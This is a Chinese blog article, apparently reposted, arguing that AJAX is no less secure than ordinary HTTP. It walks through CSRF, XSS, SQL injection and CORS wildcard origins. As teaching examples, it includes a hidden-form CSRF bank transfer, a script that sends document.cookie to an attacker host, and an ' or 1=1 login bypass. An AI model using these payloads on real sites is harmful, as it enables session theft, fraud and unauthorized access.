做者:撒网要见鱼
https://www.cnblogs.com/dailc...
本文包含的内容较多,包括AJAX,CORS,XSS,CSRF等内容,要完整的看完并理解须要付出必定的时间。javascript
另外,看法有限,若有描述不当之处,请帮忙及时指出。css
正文开始...html
从入坑前端开始,一直到如今,AJAX请求都是以极高的频率重复出现,也解决过很多AJAX中遇到的问题,如跨域调试,错误调试等等。前端
从这种,发现了一个共通现象:那就是每次和后台人员对接时,他们都会提到AJAX请求不安全
,请用普通http请求!java
虽然不少时候,都是通过多翻口舌之争后,最终后台那边妥协,容许部分符合条件的AJAX请求。可是,我却很纠结一个问题:AJAX请求真的不安全么?为何我本身写后台时并无发现这个问题?面试
因而,开始准备搜集资料,结合本身已有的认知,整理成一份解决方案,分析AJAX请求真的不安全么?哪里不安全?
,后续遇到相似的问题就直接向对方抛出一篇文章ajax
Origin: *
的安全性首先,先说一个定论:AJAX请求是否安全,由服务端(后台)决定
sql
有这样一个说法:若是某个Web应用具有良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之若是应用自己存在漏洞,无论用何种技术请求,它都是不安全的数据库
为什么会有这种说法?由于在Web应用中,客户端输入不可信是一个基本原则后端
在AJAX出现时,那时的服务端仍是很古老的那一批,所以彻底没有考虑到AJAX出现后,前端请求方式会变得异常复杂,形成之前的安全策略已经没法知足要求了,致使大批的后台安全漏洞曝光。。。
很显然,都是由于AJAX出现后曝光了更多的安全漏洞,致使它看起来很危险(由于AJAX出现后,请求方式变多了,之前的架构在新的请求中就可能出现更多漏洞)
So,AJAX不安全的说法天然扩散到了各个角落。
要知道AJAX请求是否安全,那么就得先知道Web前端中到底有那几种安全问题
1.XSS(跨站脚本攻击)(cross-site scripting) -> 伪造会话(基于XSS实现CSRF) -> 劫持cookie -> 恶意代码执行2.CSRF(跨站请求伪造)(cross-site request forgery) -> 伪造用户身份操做 3. SQL注入 ...(其它暂且不提)
如上,Web前端中的安全问题主要就是这几大类(仅列举部分作分析),因此咱们首先要分析AJAX与这几大类之间的关系。(XSS
和CSRF
,在下文也会作简单介绍。)
CSRF,特征很简单:冒用用户身份,进行恶意操做
时至今日,这项安全漏洞已经被人们剖析的很透彻了,随便Google,百度之,都会找到不少的解释。这里也用一张图来先作简单描述:
(注,下面介绍参考了来源文章中的描述,譬如图就是参考了来源中的博文后重绘的)
因此,咱们看到关键条件是:
1. 采用cookie来进行用户校验2. 登陆受信任网站A,并在本地生成Cookie3. 在不登出A的状况下,访问危险网站B
通常在(4)
处恶意网站(B)
的攻击手段以下(必须是指向A
的地址,不然没法带上cookie):
// 1.譬如在网站内的图片资源中潜入恶意的转帐操做<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>// 2.构建恶意的隐藏表单,并经过脚本提交恶意请求<iframe style="display: none;" name="csrf-frame"></iframe><form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form"> <input type='hidden' name='toBankId' value='hello'> <input type='hidden' name='amount' value='1000000'> <input type='submit' value='submit'></form><script>document.getElementById("csrf-form").submit()</script>
并且,从头至尾,攻击网站都没有获取到过 cookie,都是经过浏览器间接实现(利用Web的cookie隐式身份验证机制),因此HttpOnly
并不会影响这个攻击
最后说下,几种常见的CSRF防护手段:
1. 验证HTTP Referer字段(很是简单,可是鉴于客户端并不可信任,因此并非很安全) (防止CSRF,检查Referer字段简单直接,可是其彻底依赖浏览器发送正确的Referer字段。 虽然http协议对此字段的内容有明确的规定,但并没有法保证来访的浏览器的具体实现, 亦没法保证浏览器没有安全漏洞影响到此字段。而且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。)2. 在请求地址中添加token并验证 (譬如post中,以参数的形式加入一个随机产生的token)
上文中,咱们看到CSRF的前提是cookie验证用户身份,那么它与AJAX的关系大么?
咱们先分析AJAX中带cookie验证的状况:
1. AJAX受到浏览器的同源策略限制2. AJAX默认没法请求跨域的接口 (固然后台能够配置\`Access-Control-Allow-Origin: *\`之类的容许全部的跨域请求)3. AJAX请求没法携带跨域cookie (若是强行开启withCredentials,必须服务端配合认证,没法用做攻击)
嗯哼...看到这,基本就能够认为CSRF与AJAX请求无缘了。。。
譬如假设上图中第4
部分的请求由AJAX发起,假设网站A已经容许了Access-Control-Allow-Origin: *
,因为网站B与网站A是不一样域名,因此存在跨域,根据同源策略,请求时根本就没法携带cookie,故而没法经过身份认证,攻击失败。。。
就算强行开启withCredentials,携带跨域cookie,可是因为服务端并不会单独配置网站B的跨域cookie(需配置Access-Control-Allow-Credentials: true
,并且这时候不容许设置Allow-Origin: *
),因此确定认证失败
能够看到,就算Access-Control-Allow-Origin: *
容许全部来源的AJAX请求,跨域的cookie默认状况下仍然是没法携带的,没法CSRF
因此说,结论是:CSRF与AJAX无关
既然CSRF与AJAX关系不大,那么XSS应该会与AJAX有很大关系吧?(要否则为何一直说AJAX请求不安全,对吧。)。那么请继续看下去(本文中只限JS范畴)
XSS(cross-site scripting),看起来简写应该是css更合适。。。可是为了和层叠式样式表区分,就用XSS简写表示
XSS的特征也能够归纳为:跨域脚本注入,攻击者经过某种方式将恶意代码注入到网页上,而后其余用户观看到被注入的页面内容后会受到特定攻击
相比CSRF,XSS囊括的内容更多,并且每每是多种攻击形式组合而成,这里之前文中介绍的几种为例:
1.cookie劫持
一样,页面中有一个评论输入,输入后会,由于后台的漏洞,没有过滤特殊字符,会直接明文保存到数据库中,而后展现到网页时直接展现明文数据,那么以下
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><form action="saveComment.jsp" method="post"> 请输入评论内容:<BR> <input name="content" type="text"> <input type="submit" value="确认"></form>
而后攻击者分析后,输入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
保存文章。很简单的代码,因为没有过滤脚本,那么其它用户登录后,在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。
攻击者能够在cookie(譬如jsessionid对应的session)有效期内拿它们冒充用户操做。
须要注意,这里和CSRF的区别是,这里是拿到了cookie后主动冒充用户的,而CSRF中根本就不知cookie,仅利用浏览器的隐式校验方式冒充用户。
2.会话伪造
一样是评论漏洞的示例。
攻击者输入(举例比喻)
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
而后,接下来发生的故事就和CSRF中提到的一致。这种状况就是基于XSS而开展的CSRF,也有人喜欢称之为XSRF
须要注意,这里并无本身拿到cookie,而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。
3.其它恶意代码执行
其实上面的cookie劫持以及会话伪造都算是恶意代码执行,为了区别,这里就专指前端的流氓JS。
譬如前面的评论中的输入能够是:
譬如市面上盛行的网页游戏弹窗等。 譬如干脆直接让这个页面卡死均可以。 譬如无限循环。
这里再提一点,上述都是从前端输入做为入口的,但实际上有一类的输入也不可忽视,那就是:富文本攻击
它的特色就是: 富文本中注入了脚本,而且先后端未进行过滤,致使直接输出到了页面中
由于存在不少页面,都是将富文本内容展现到网页上的,没有进行过滤(哪怕时至今日,仍然有很多页面),这样只要富文本中有注入脚本,基本就中招了。。。
结论:
只要最终能向页面输出可执行的脚本语句,那么就是有漏洞,XSS攻击都有可能发生。
并且,基本上xss漏洞是很普遍的,虽然攻击类型很被动,也须要大量时间分析,但胜在大量的网站上都存在(特别是那种长期不更新的)
再提一点。上述的介绍更多的是从形成的后果来看,但其实若是从攻击手动来看的话能够分为几大类型:反射型XSS攻击
(直接经过URL注入,并且不少浏览器都自带防护),存储型XSS攻击
(存储到DB后读取时注入),还有一个DOM-Based型
。
上述示例中都是存储型,具体更多内容网上已经有很详细的资料,这里再也不继续深刻,放一张图巩固下。
如何预防XSS:
http-only
,这样用脚本就没法获取cookie了 以上分析了XSS形成一些影响与问题,仍然发现:与AJAX关系不大,由于这些问题无论用不用AJAX都会发生。
看看这种状况,譬如上述的富文本注入中:
1. 某个接口采用AJAX交互2. AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML
可是,这真的与AJAX无关,这是先后端没有进行输入输出过滤而形成的后果。
因此,仍是那句话:若是某个Web应用具有良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之若是应用自己存在漏洞,无论用何种技术请求,它都是不安全的
sql注入展开将也是一门很大的学问,很早之前更是大行其道(固然,如今...),这里仅仅举几个最极端的示例。
前提是后台没有过滤前端的输入数据,不然根本没法生效
假设页面A中有一个登录查询存在拙劣的sql注入漏洞,这样子的:(最极端,最傻的状况)
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><form action="login.jsp" method="post"> 请输入用户名与密码:<BR> <input name="name" type="text"> <input name="password" type="text"> <input type="submit" value="登录"></form>
在接收到登录请求后,服务端的实际执行代码时是:
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
然而有攻击者分析出后台可能存在漏洞,尝试sql注入攻击,输入
name = ' or 1=1 password = anything
那么这样,后台接收到数据后,实际上查询的结果是
SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'
故而,攻击者成功的绕过的用户名,利用后台漏洞登录了。
固然了,像这类这么低级的漏洞,现象几乎已经不存在了,每每这类型漏洞须要仔细分析,耗时。(又或者是有内奸。。。)
额,从上述的示例中看不出和AJAX有什么关系。可是咱们能够这样假设:
1. 有一个接口,接收AJAX post的数据2. 数据中有一个字段 'name',后台接收到后没有进行过滤,直接如上面的演示同样,执行sql语句了3. 因此AJAX中若是给那个字段传入非法的注入信息,就会触发这个漏洞,致使攻击生效
对,就是这样极端的状况下才会发生,并且与AJAX并无关系,由于换成任何一种其它请求都会有相似的状况。。。
因此说,结论是:SQL注入与AJAX无关
从本质上将:AJAX就是浏览器发出的HTTP请求,只不过是浏览器加上了一个同源策略限制而已。
AJAX请求的XMLHTTPRequest
对象就是浏览器开放给JS调用HTTP请求用的。
那么AJAX和HTTP的区别呢?列出如下几点:
OPTIONS
预检(HTTP本身是不会预检的)可是,从最终发出的报文来看,内容都是同样的(HTTP协议规范的内容),AJAX是发送HTTP请求的一种方式
因此从这一点能够得出一个结论:AJAX本质上安全性和HTTP请求同样
按照前文中提到的内容,基本没法得出AJAX与请求不安全的关联。那么接下来,再继续分析,若是使用了跨域资源共享(CORS)后的安全性。
(由于每每ajax都会伴随着CORS)
这是一个跨域共享方案,大体流程就是:(仅以复杂请求的预检举例-这一部分要求提早掌握CORS相关知识)
1. 前端AJAX请求前发出一个OPTIONS预检,会带一堆相关头部发送给服务端2. 服务端在接受到预检时,检查头部,来源等信息是否合法,合法则接下来容许正常的请求, 不然直接无情的拒绝掉3. 浏览器端若是收到服务端拒绝的信息(响应头部检查),就抛出对应错误。 不然就是正常的响应,接下来发出真正的请求(如POST)
请求和响应的头部信息大概以下:
Request Headers
// 在CORS中专门做为Origin信息供后端比对,表示来源域。Origin: http://xxxAccess-Control-Request-Headers: X-Requested-With// 全部用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中,通常POST请求中就会带上Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx
最终,客户端发出的请求,必须符合服务端的校验规则才能正确,服务端才会返回正确头部,不然只会请求失败。报跨域错误。
以上仅是简介,更多信息能够参考来源中的ajax跨域,这应该是最全的解决方案了
由于同源策略限制,AJAX没法请求跨域资源,CORS能够解决AJAX跨域请求问题。
所以:在本文中,配置CORS只是为了AJAX能跨域请求
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx
如上,加上这个配置后,必须符合要求的才算是正常的请求,不然就会拒绝掉,通常AJAX跨域的话都会有OPTIONS,因此在预检中就作了这一步。
能够看到,关键的可变信息是:Access-Control-Allow-Origin: http://xxx
这个配置就是域名白名单,规定在什么样的域名下才能进行AJAX跨域请求。
Origin: *
的安全性关键问题来了,在上面的CORS配置是这样的:
Access-Control-Allow-Origin: http://xxx
可是这个配置只容许特定域名访问,鉴于前端的复杂性,有时候调试起来不是很方便,所以有时候,会偷懒的设置为:
Access-Control-Allow-Origin: *
这个表明全部来源的跨域AJAX请求都能正常响应。
接下来咱们再来分析设置Origin: *
可能带来哪些问题。(都是基于AJAX的状况)
问题1:会对cookie认证形成影响么?
不会。虽然*
表明了全部来源都能正常请求,可是同源策略下,是没法带上跨域cookie的。所以根本没法用身份验证。
并且,就算用withCredentials
强行带上跨域cookie,由于后台没有支持,因此会报错。(这能够当作是CORSs模型的最后一道防线)
再者,后台就算配置Access-Control-Allow-Credentials
容许跨域cookie,可是这时候的安全策略是Origin
不容许为_,必须是一个明确的地址。
(不然你就能够看到浏览器的报错信息-跨域cookie时,Origin不容许为_)
问题2:若是伪造Origin头部呢?
首先,标准的浏览器中是不容许你伪造的(除非有严重漏洞),因此通常须要经过模拟客户端请求伪造。
可是。在非浏览器状况下,原本就没有同源策略。这又是何须。。。
因此说,伪造Origin与CORS并无关系。
问题3:若是后台原本就存在漏洞呢?
作这样一个假设,假设用户所在网络的内网中有一台内网服务器,而且配置了容许全部的跨域请求:(固然,外网是请求不到内网的)
// 容许任何来自任意域的跨域请求Access-Control-Allow-Origin: *
再假设内网服务器上恰巧存在敏感资源,而且没有额外设防,只要内网就能访问。譬如:
192.168.111.23/users.md
而后用户访问了恶意网页,而像HTML之类的网页都是下载到本地执行的,
正好网页内有恶意代码,去向192.168.111.23/users.md
请求资源,再将接收到的服务端返回发送到攻击者服务器。
(由于加了Origin为*,并且AJAX是由本地浏览器发出的,因此用户下载到本地的恶意网站是能够访问到用户内网中的后台的)
而后这些敏感数据就这样被盗取了。
But,这是由于服务端漏洞而存在的问题,设置Origin为_的后台上为什么要放置敏感资源?正常设置为Origin为_的最大做用是用做公共API。
并且更重要的是,为什么敏感资源就这样轻易的被获取了?为何没有二次验证?
SO,后台自己有漏洞,因此才致使被攻击,AJAX刚好是攻击的手段之一(除了AJAX外还会有其它的方式),因此不少锅都甩到了AJAX头上。
这样,能够得出一个保守点的结论:
Origin若是不是*
,AJAX请求并不会有安全问题,若是是*
,可能会因为后台的漏洞,不经意间,AJAX就被做为一种攻击手段了,致使了出现AJAX不安全的说法
仍然是最初的结论:
若是某个Web应用具有良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之若是应用自己存在漏洞,无论用何种技术请求,它都是不安全的
咱们能够看到,XSS也好,CSRF也好,以及其它隐藏的可能漏洞也好,本质上都是后台已有漏洞形成的问题,AJAX最可能是被用做一种攻击手段(甚至某些里面AJAX还没法使用)
提到AJAX请求不安全的,譬若有CORS里面配置Origin: *
形成某些极端状况下能经过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已,没有AJAX,该不安全的仍然不安全。
譬如还有的说法是:由于在AJAX出现之前,若是出现安全漏洞,容易被察觉,但AJAX是异步的,更容易隐式的出现安全问题。。。这也与安全性的本质无关。
最重要一点,从Web应用安全角度来谈,Web应用必须从不信任客户端。因此不要再把锅甩给AJAX。
同上,AJAX自己并不存在这种安全问题。
不过有一点需注意,若是使用了CORS方案。
1. Allow-Origin能够设置特定的值,过滤特定的白名单2. 对于一些公共的API,能够直接将Allow-Origin设置为`*\`3. 固然,若是确认后台没有这些隐藏漏洞,能够直接使用\`*`,毕竟也只是针对浏览器的同源策略而已,影响没有那么大。
仍然是文中反复提到的结论:
让Web后台更安全,则AJAX请求也更安全,反以后台有漏洞,无论怎么样都是不安全的
这样的话,应该能够把AJAX不安全的锅甩掉了吧?
推荐去个人博客阅读更多:
2.Spring MVC、Spring Boot、Spring Cloud 系列教程
3.Maven、Git、Eclipse、Intellij IDEA 系列工具教程
以为不错,别忘了点赞+转发哦!